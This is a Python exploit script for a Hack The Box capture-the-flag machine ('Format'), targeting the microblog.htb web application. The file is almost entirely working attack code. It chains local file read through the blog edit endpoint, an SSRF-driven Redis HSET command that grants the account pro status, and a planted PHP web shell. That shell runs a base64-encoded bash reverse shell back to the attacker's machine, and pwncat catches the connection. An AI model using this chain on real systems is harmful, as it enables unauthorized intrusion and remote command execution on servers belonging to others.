Fomat - HTB

exp.py

#!/usr/bin/env python3
import requests
import string
import random
import sys
from urllib3.util import SKIP_HEADER
from collections import OrderedDict
import subprocess
from threading import Thread
import socket
import pwncat.manager
import base64
import netifaces

REGISTER_URL = "http://app.microblog.htb/register/index.php"
LOGIN_URL = "http://app.microblog.htb/login/index.php"
ADD_SITE_URL = "http://app.microblog.htb/dashboard/index.php"


BLOG_URL = "http://microblog.htb/index.php"
BLOG_EDIT_URL = "http://microblog.htb/edit/index.php"
BLOG_SHELL_URL = "http://microblog.htb/uploads/shell.php"

SSRF_URL = "http://microblog.htb/static/"

PROXIES = {
    "http": "http://127.0.0.1:8080/",
    "https": "https://127.0.0.1:8080/"
}


def random_str():
    return ''.join([random.choice(string.ascii_lowercase) for _ in range(10)])

class Exploit:
    def __init__(self):
        self.identifer = random_str()
        self.blog_domain = f"{self.identifer}.microblog.htb"
        self.session = requests.Session()

    def register(self):
        payload = {
            "first-name": self.identifer,
            "last-name": self.identifer,
            "username": self.identifer,
            "password": self.identifer
        }
        r = self.session.post(REGISTER_URL, data=payload, allow_redirects=False)
        if r.status_code == 302 and 'Invalid' not in r.text:
            print(f"{self.identifer} Succefully registered")
            return 1

        else:
            print(f"Error on register with {self.identifer}")
            exit()
    
    def add_site(self):
        payload = {
            "new-blog-name": self.identifer
        }
        r = self.session.post(ADD_SITE_URL, data=payload, allow_redirects=False)

        if r.status_code == 302 and 'Invalid' not in r.text:
            print(f"{self.identifer}.microblog.htb registered")
            return 1

        else:
            print(f"Error on register with {self.identifer}")
            exit()

    def lfi_here(self, file):
        headers = OrderedDict({
            "Host": SKIP_HEADER,
            "User-Agent": SKIP_HEADER,
            "Accept-Encoding": SKIP_HEADER,
            "Accept": None,
            "Connection": None
        })

        # add the desired headers here in order, duplicate keys are not possible
        headers.update(OrderedDict([
            ("Host", self.blog_domain),
            ("Accept", "*/*")
        ]))

        payload = {
            'id' : file,
            'header': 'true'
        }
        self.session.headers = {}
        return self.session.post(BLOG_EDIT_URL, headers=headers, data=payload, allow_redirects=False).text.split('<\/div>".replace(/(\\r\\n|\\n|\\r)/gm')[0].split('blog-indiv-content\\">')[-1].replace('\\t', '\t').replace('\\n', '\n').replace('\\', '').replace('u0000',' ')

    def add_account_to_pro(self):
        cmd = f'curl -vvv -X "HSET" http://microblog.htb/static/unix:%2fvar%2frun%2fredis%2fredis.sock:{self.identifer}%20%22pro%22%20%22true%22%20/whatever 2> /dev/null'
        out = subprocess.check_output([cmd], shell=True)
        print(f"Added pro to {self.identifer} account")
        
    def generate_payload(self):
        rev_b64_str = base64.b64encode(f"sh -i >& /dev/tcp/{get_default_ip()}/9001 0>&1".encode()).decode()
        return f"echo {rev_b64_str} | base64 -d | bash"

    def handle_reverse_shell(self, action="persist"):
        listener = socket.create_server(('0.0.0.0', 9001))

        victim, victim_addr = listener.accept()
        manager = pwncat.manager.Manager()

        session = manager.create_session(platform="linux", protocol="socket", client=victim)
        manager.interactive()
        session.close()
        listener.close()

    def get_revshell(self):

        headers = OrderedDict({
            "Host": SKIP_HEADER,
            "User-Agent": SKIP_HEADER,
            "Accept-Encoding": SKIP_HEADER,
            "Accept": None,
            "Connection": None
        })

        # add the desired headers here in order, duplicate keys are not possible
        headers.update(OrderedDict([
            ("Host", self.blog_domain),
            ("Accept", "*/*")
        ]))

        payload = {
            'id' : "../uploads/shell.php",
            'txt': '<?php system($_GET[0]); ?>'
        }

        self.session.headers = {}
        self.session.post(BLOG_EDIT_URL, headers=headers, data=payload)
        self.session.get(f"{BLOG_SHELL_URL}?0={self.generate_payload()}", headers=headers)

def get_default_ip():
    intefaces = netifaces.interfaces()
    try:
        if 'tun0' in intefaces:
            return netifaces.ifaddresses('tun0')[2][0]['addr']
        elif 'eth0' in intefaces:
            return netifaces.ifaddresses('eth0')[2][0]['addr']
        else:
            return "127.0.0.1"
    except:
        return "127.0.0.1"

def main():
    exploit = Exploit()
    
    exploit.register()
    exploit.add_site()
    if len(sys.argv)  == 2:
        out = exploit.lfi_here(sys.argv[1])
        print('\n'+out)
        exit()

    exploit.add_account_to_pro()

    t = Thread(target = exploit.handle_reverse_shell)
    t.start()
    exploit.get_revshell()
    t.join()

    exploit.get_revshell()

if __name__ == '__main__':
    main()